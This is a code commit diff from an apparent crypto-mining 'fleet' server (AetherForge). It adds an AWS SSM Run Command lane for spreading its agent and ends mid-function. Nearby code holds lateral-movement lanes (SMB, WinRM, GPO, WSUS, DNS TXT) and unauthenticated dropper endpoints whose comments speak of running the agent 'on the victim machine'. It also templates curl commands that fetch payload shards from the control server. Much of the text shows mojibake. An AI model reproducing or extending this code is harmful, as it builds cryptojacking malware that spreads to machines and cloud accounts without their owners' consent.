Add ssm_document spread lane for owned EC2 via SSM Run Command.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -1,4 +1,4 @@
|
|||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/hmac"
|
"crypto/hmac"
|
||||||
@@ -25,6 +25,7 @@ type SpreadRouteHint struct {
|
|||||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||||
|
RouteVia string `json:"route_via,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||||
@@ -271,7 +272,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
|
|||||||
switch lane {
|
switch lane {
|
||||||
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
||||||
return fmt.Sprintf(
|
return fmt.Sprintf(
|
||||||
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
|
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
|
||||||
egress,
|
egress,
|
||||||
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
||||||
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
||||||
@@ -401,6 +402,9 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
|||||||
strings.TrimSpace(hint.SeedAgentID),
|
strings.TrimSpace(hint.SeedAgentID),
|
||||||
hint.Score,
|
hint.Score,
|
||||||
)
|
)
|
||||||
|
if via := strings.TrimSpace(hint.RouteVia); via != "" {
|
||||||
|
routeNote += "; route_via=" + via
|
||||||
|
}
|
||||||
if detail == "" {
|
if detail == "" {
|
||||||
return routeNote
|
return routeNote
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -183,6 +183,20 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
|
||||||
|
plan := DeployPlanBody{
|
||||||
|
JoinLane: "ssm_document", Action: "ssm_document",
|
||||||
|
SSMDocument: `{"schemaVersion":"2.2"}`,
|
||||||
|
}
|
||||||
|
msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(msg, "ssm_document") {
|
||||||
|
t.Fatalf("msg=%q", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
|
||||||
plan := DeployPlanBody{
|
plan := DeployPlanBody{
|
||||||
JoinLane: "spread_smb_unc",
|
JoinLane: "spread_smb_unc",
|
||||||
|
|||||||
@@ -19,6 +19,7 @@ var DefaultLotlOnionTiers = []string{
|
|||||||
"winrm",
|
"winrm",
|
||||||
"linux",
|
"linux",
|
||||||
"gpo",
|
"gpo",
|
||||||
|
"ssm_document",
|
||||||
}
|
}
|
||||||
|
|
||||||
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
|
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
|
||||||
@@ -27,7 +28,7 @@ func NormalizeLotlTiers(raw []string) []string {
|
|||||||
"vuln_recon": {},
|
"vuln_recon": {},
|
||||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||||
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
|
||||||
"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
|
||||||
}
|
}
|
||||||
out := make([]string, 0, len(raw))
|
out := make([]string, 0, len(raw))
|
||||||
for _, t := range raw {
|
for _, t := range raw {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/hmac"
|
"crypto/hmac"
|
||||||
@@ -13,6 +13,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/cloudmap"
|
||||||
"crypto-miner-server/internal/erasure"
|
"crypto-miner-server/internal/erasure"
|
||||||
"crypto-miner-server/internal/models"
|
"crypto-miner-server/internal/models"
|
||||||
"crypto-miner-server/internal/spreadrouter"
|
"crypto-miner-server/internal/spreadrouter"
|
||||||
@@ -122,7 +123,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
|||||||
h.pathTracer = handler
|
h.pathTracer = handler
|
||||||
}
|
}
|
||||||
|
|
||||||
// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
|
// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans.
|
||||||
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
||||||
h.erasureEnabled = enabled
|
h.erasureEnabled = enabled
|
||||||
h.erasureShards = store
|
h.erasureShards = store
|
||||||
@@ -403,7 +404,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
|
|||||||
}
|
}
|
||||||
|
|
||||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass,
|
||||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||||||
platform := strings.TrimSpace(req.Platform)
|
platform := strings.TrimSpace(req.Platform)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/rand"
|
"crypto/rand"
|
||||||
@@ -27,7 +27,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// authSessionCache avoids running bcrypt on every API request.
|
// authSessionCache avoids running bcrypt on every API request.
|
||||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time.
|
||||||
// Entries are valid for authCacheTTL after the last successful login.
|
// Entries are valid for authCacheTTL after the last successful login.
|
||||||
// Bcrypt only runs on cache miss or expiry.
|
// Bcrypt only runs on cache miss or expiry.
|
||||||
var (
|
var (
|
||||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
|||||||
|
|
||||||
func formatLoginBanner(creds map[string]string) string {
|
func formatLoginBanner(creds map[string]string) string {
|
||||||
var b strings.Builder
|
var b strings.Builder
|
||||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n")
|
||||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n")
|
||||||
b.WriteString("║ ║\n")
|
b.WriteString("Γòæ Γòæ\n")
|
||||||
users := make([]string, 0, len(creds))
|
users := make([]string, 0, len(creds))
|
||||||
for user := range creds {
|
for user := range creds {
|
||||||
users = append(users, user)
|
users = append(users, user)
|
||||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
|||||||
sort.Strings(users)
|
sort.Strings(users)
|
||||||
for _, user := range users {
|
for _, user := range users {
|
||||||
pass := creds[user]
|
pass := creds[user]
|
||||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user)
|
||||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass)
|
||||||
b.WriteString("║ ║\n")
|
b.WriteString("Γòæ Γòæ\n")
|
||||||
}
|
}
|
||||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n")
|
||||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n")
|
||||||
return b.String()
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
|||||||
|
|
||||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||||
// must not trigger that — only bare browser navigations without these headers should.
|
// must not trigger that ΓÇö only bare browser navigations without these headers should.
|
||||||
func isSPAAuthRequest(r *http.Request) bool {
|
func isSPAAuthRequest(r *http.Request) bool {
|
||||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||||
}
|
}
|
||||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
path := r.URL.Path
|
path := r.URL.Path
|
||||||
|
|
||||||
// Health check and one-liner installer endpoints are always open.
|
// Health check and one-liner installer endpoints are always open.
|
||||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
// NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö
|
||||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||||
if path == "/api/v1/health" ||
|
if path == "/api/v1/health" ||
|
||||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||||
// legitimately forged agents can call these endpoints.
|
// legitimately forged agents can call these endpoints.
|
||||||
// A missing or empty fleet secret is always rejected — the server auto-
|
// A missing or empty fleet secret is always rejected ΓÇö the server auto-
|
||||||
// generates one at startup so this state should never occur in production.
|
// generates one at startup so this state should never occur in production.
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||||
fleetSecretForAgentPathsMu.RLock()
|
fleetSecretForAgentPathsMu.RLock()
|
||||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
// Fast path ΓÇö skip bcrypt if this credential pair was recently validated.
|
||||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||||
if !authCacheHit(user, pass) {
|
if !authCacheHit(user, pass) {
|
||||||
usersMu.RLock()
|
usersMu.RLock()
|
||||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// Credential verified — cache it for the next few minutes.
|
// Credential verified ΓÇö cache it for the next few minutes.
|
||||||
authCacheSet(user, pass)
|
authCacheSet(user, pass)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
AllowCredentials: false,
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
// REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||||
r.Route("/api/v1", func(r chi.Router) {
|
r.Route("/api/v1", func(r chi.Router) {
|
||||||
r.Use(basicAuthMiddleware)
|
r.Use(basicAuthMiddleware)
|
||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
@@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||||
|
|
||||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
// Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents.
|
||||||
// Forged agents with the old secret will be rejected until re-forged.
|
// Forged agents with the old secret will be rejected until re-forged.
|
||||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||||
if rotateSecretFn == nil {
|
if rotateSecretFn == nil {
|
||||||
@@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
writeJSON(w, map[string]interface{}{"success": true})
|
writeJSON(w, map[string]interface{}{"success": true})
|
||||||
})
|
})
|
||||||
|
|
||||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
// Deck backup ΓÇö authenticated full backup ZIP (config + DB + users)
|
||||||
backupH := NewBackupHandler(dataDir, version)
|
backupH := NewBackupHandler(dataDir, version)
|
||||||
r.Get("/backup", backupH.ServeHTTP)
|
r.Get("/backup", backupH.ServeHTTP)
|
||||||
|
|
||||||
// Path Tracer — on-demand WireGuard chain sessions
|
// Path Tracer ΓÇö on-demand WireGuard chain sessions
|
||||||
if pathTracerHandler != nil {
|
if pathTracerHandler != nil {
|
||||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||||
@@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
// Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header).
|
||||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||||
r.Post("/agent/report", aiHandler.HandleReport)
|
r.Post("/agent/report", aiHandler.HandleReport)
|
||||||
@@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
}
|
}
|
||||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||||
|
|
||||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
// Public builds (also bypass auth in middleware ΓÇö listed here for chi routing)
|
||||||
if publicHandler != nil {
|
if publicHandler != nil {
|
||||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||||
r.Get("/public/download/{id}", publicHandler.Download)
|
r.Get("/public/download/{id}", publicHandler.Download)
|
||||||
@@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||||
|
|
||||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
// One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate)
|
||||||
if dropperHandler != nil {
|
if dropperHandler != nil {
|
||||||
r.Get("/get", dropperHandler.ServeGet)
|
r.Get("/get", dropperHandler.ServeGet)
|
||||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||||
@@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
// SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts
|
||||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||||
// Unauthenticated (the drop URL itself is the secret).
|
// Unauthenticated (the drop URL itself is the secret).
|
||||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||||
@@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
|||||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||||
//
|
//
|
||||||
// Filename convention (same as what the build pipeline produces):
|
// Filename convention (same as what the build pipeline produces):
|
||||||
// - windows → crypto-miner-agent.exe
|
// - windows → crypto-miner-agent.exe
|
||||||
// - mac/linux → crypto-miner-agent (no extension)
|
// - mac/linux → crypto-miner-agent (no extension)
|
||||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||||
var agentBinarySearchDir = func() (string, error) {
|
var agentBinarySearchDir = func() (string, error) {
|
||||||
|
|||||||
@@ -35,6 +35,8 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
|||||||
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
||||||
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||||
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
||||||
|
"AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
||||||
|
"amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
|
||||||
}
|
}
|
||||||
|
|
||||||
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
||||||
@@ -61,6 +63,8 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
|
|||||||
lane.Template = "gpo"
|
lane.Template = "gpo"
|
||||||
case "linux_lotl":
|
case "linux_lotl":
|
||||||
lane.Template = "linux-lotl"
|
lane.Template = "linux-lotl"
|
||||||
|
case "ssm_document":
|
||||||
|
lane.Template = "ssm-document"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
out[name] = lane
|
out[name] = lane
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -12,17 +12,25 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/erasure"
|
||||||
|
|
||||||
"github.com/go-chi/chi/v5"
|
"github.com/go-chi/chi/v5"
|
||||||
)
|
)
|
||||||
|
|
||||||
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
|
||||||
type SpreadHandler struct {
|
type SpreadHandler struct {
|
||||||
db *dbpkg.Database
|
db *dbpkg.Database
|
||||||
dataDir string
|
dataDir string
|
||||||
projectRoot string
|
projectRoot string
|
||||||
wsHub *WSHub
|
wsHub *WSHub
|
||||||
notesMu sync.RWMutex
|
erasureShards *erasure.ShardStore
|
||||||
|
notesMu sync.RWMutex
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
|
||||||
|
if h != nil {
|
||||||
|
h.erasureShards = store
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
|
||||||
|
|||||||
132
server/internal/api/spread_lanes.go
Normal file
132
server/internal/api/spread_lanes.go
Normal file
@@ -0,0 +1,132 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/erasure"
|
||||||
|
)
|
||||||
|
|
||||||
|
type SSMSpreadBundle struct {
|
||||||
|
JoinLane string `json:"join_lane"`
|
||||||
|
Document string `json:"document"`
|
||||||
|
RunCommand string `json:"run_command"`
|
||||||
|
CreateDocumentCLI string `json:"create_document_cli"`
|
||||||
|
ManifestURL string `json:"manifest_url,omitempty"`
|
||||||
|
ShardURLs []string `json:"shard_urls,omitempty"`
|
||||||
|
FallbackGetURL string `json:"fallback_get_url,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *DeployPlanHandler) buildSSMSpreadBundle(req deployPlanRequest, serverURL string) (SSMSpreadBundle, error) {
|
||||||
|
buildID := strings.TrimSpace(req.BuildID)
|
||||||
|
campaign := strings.TrimSpace(req.Campaign)
|
||||||
|
_, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||||
|
fallbackURL := serverURL + "/get?os=linux" + getQuerySuffix
|
||||||
|
manifestURL := serverURL + "/api/v1/public/erasure-torrent/placeholder/manifest"
|
||||||
|
var shardURLs []string
|
||||||
|
if h.erasureEnabled != nil && h.erasureEnabled() && h.erasureShards != nil {
|
||||||
|
platform := strings.TrimSpace(req.Platform)
|
||||||
|
if platform == "" {
|
||||||
|
platform = "linux"
|
||||||
|
}
|
||||||
|
if build, err := h.resolveBuild(buildID, platform); err == nil {
|
||||||
|
if payload, err := os.ReadFile(build.FilePath); err == nil {
|
||||||
|
if plan, err := erasure.BuildPlan(h.erasureShards, serverURL, buildID, campaign, payload, "/tmp/aetherforge-erasure/worker", "exe", "", true, true); err == nil && plan != nil {
|
||||||
|
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, erasure.ShardContentHashes(shardsFromStore(h.erasureShards, plan.ShardToken))); err == nil && manifest != nil {
|
||||||
|
manifestURL = manifest.ManifestURL
|
||||||
|
shardURLs = manifest.ShardManifestURLs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
doc, runCmd, createCLI, err := renderSSMSpreadTemplates(h.projectRoot, serverURL, buildID, campaign, manifestURL, shardURLs, fallbackURL)
|
||||||
|
if err != nil {
|
||||||
|
return SSMSpreadBundle{}, err
|
||||||
|
}
|
||||||
|
return SSMSpreadBundle{JoinLane: "ssm_document", Document: doc, RunCommand: runCmd, CreateDocumentCLI: createCLI, ManifestURL: manifestURL, ShardURLs: shardURLs, FallbackGetURL: fallbackURL}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderSSMSpreadTemplates(projectRoot, serverURL, buildID, campaign, manifestURL string, shardURLs []string, fallbackURL string) (string, string, string, error) {
|
||||||
|
dir := filepath.Join(projectRoot, "templates", "spread", "ssm")
|
||||||
|
docBytes, err := os.ReadFile(filepath.Join(dir, "document.json"))
|
||||||
|
if err != nil {
|
||||||
|
return "", "", "", fmt.Errorf("ssm document template: %w", err)
|
||||||
|
}
|
||||||
|
runBytes, err := os.ReadFile(filepath.Join(dir, "run-command.json"))
|
||||||
|
if err != nil {
|
||||||
|
return "", "", "", fmt.Errorf("ssm run-command template: %w", err)
|
||||||
|
}
|
||||||
|
cliBytes, err := os.ReadFile(filepath.Join(dir, "create-document.sh"))
|
||||||
|
if err != nil {
|
||||||
|
return "", "", "", fmt.Errorf("ssm create-document template: %w", err)
|
||||||
|
}
|
||||||
|
shardLines := make([]string, 0, len(shardURLs))
|
||||||
|
for i, u := range shardURLs {
|
||||||
|
shardLines = append(shardLines, fmt.Sprintf("curl -fsSL '%s' -o \"$WORKDIR/shard-%d.bin\"", strings.TrimSpace(u), i))
|
||||||
|
}
|
||||||
|
if len(shardLines) == 0 {
|
||||||
|
shardLines = append(shardLines, "# no erasure shards — fallback /get only")
|
||||||
|
}
|
||||||
|
repl := map[string]string{
|
||||||
|
"{{SERVER_URL}}": strings.TrimRight(strings.TrimSpace(serverURL), "/"), "{{BUILD_ID}}": buildID,
|
||||||
|
"{{CAMPAIGN}}": campaign, "{{MANIFEST_URL}}": manifestURL, "{{FALLBACK_GET_URL}}": fallbackURL,
|
||||||
|
"{{SHARD_FETCH_LINES}}": strings.Join(shardLines, "\n"),
|
||||||
|
}
|
||||||
|
apply := func(content string) string {
|
||||||
|
for k, v := range repl {
|
||||||
|
content = strings.ReplaceAll(content, k, v)
|
||||||
|
}
|
||||||
|
return content
|
||||||
|
}
|
||||||
|
return apply(string(docBytes)), apply(string(runBytes)), apply(string(cliBytes)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) ExportSSMSpreadBundle(w http.ResponseWriter, r *http.Request) {
|
||||||
|
var req struct {
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
BuildID string `json:"build_id"`
|
||||||
|
Campaign string `json:"campaign"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
AWSCLI string `json:"aws_cli_path"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
